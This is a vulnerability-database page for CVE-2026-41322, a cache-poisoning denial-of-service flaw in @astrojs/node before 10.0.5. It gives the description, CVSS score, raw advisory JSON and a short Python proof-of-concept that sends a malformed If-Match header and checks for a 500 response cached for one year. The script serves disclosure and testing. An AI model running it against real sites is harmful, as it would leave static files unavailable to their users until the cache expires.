Security Vulnerability Report
中文
CVE-2026-41322 CVSS 5.3 MEDIUM

CVE-2026-41322

Published: 2026-04-24 18:16:29
Last Modified: 2026-04-27 18:53:00

Description

@astrojs/node allows Astro to deploy your SSR site to Node targets. Prior to 10.0.5, requesting a static js/css resources from _astro path with an incorrect/malformed if-match header returns a 500 error with a one year cache lifetime instead of 412 in some cases. This has the effect that all subsequent requests to that file, regardless of if-match header will be served a 5xx error instead of the file until the cache expires. This vulnerability is fixed in 10.0.5.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

@astrojs/node < 10.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual target) target_url = "http://example.com/_astro/index.abcdef.js" # Malformed If-Match header headers = { "If-Match": "malformed_etag_value" } try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Cache-Control: {response.headers.get('Cache-Control')}") # If the vulnerability exists, status code should be 500 # and Cache-Control should contain a long max-age (e.g., 31536000) if response.status_code == 500 and "max-age=31536000" in response.headers.get('Cache-Control', ''): print("[+] Vulnerability confirmed: Cache poisoned with 500 error.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41322", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:28.923", "lastModified": "2026-04-27T18:53:00.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "@astrojs/node allows Astro to deploy your SSR site to Node targets. Prior to 10.0.5, requesting a static js/css resources from _astro path with an incorrect/malformed if-match header returns a 500 error with a one year cache lifetime instead of 412 in some cases. This has the effect that all subsequent requests to that file, regardless of if-match header will be served a 5xx error instead of the file until the cache expires. This vulnerability is fixed in 10.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-525"}]}], "references": [{"url": "https://github.com/withastro/astro/security/advisories/GHSA-c57f-mm3j-27q9", "source": "[email protected]"}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-c57f-mm3j-27q9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}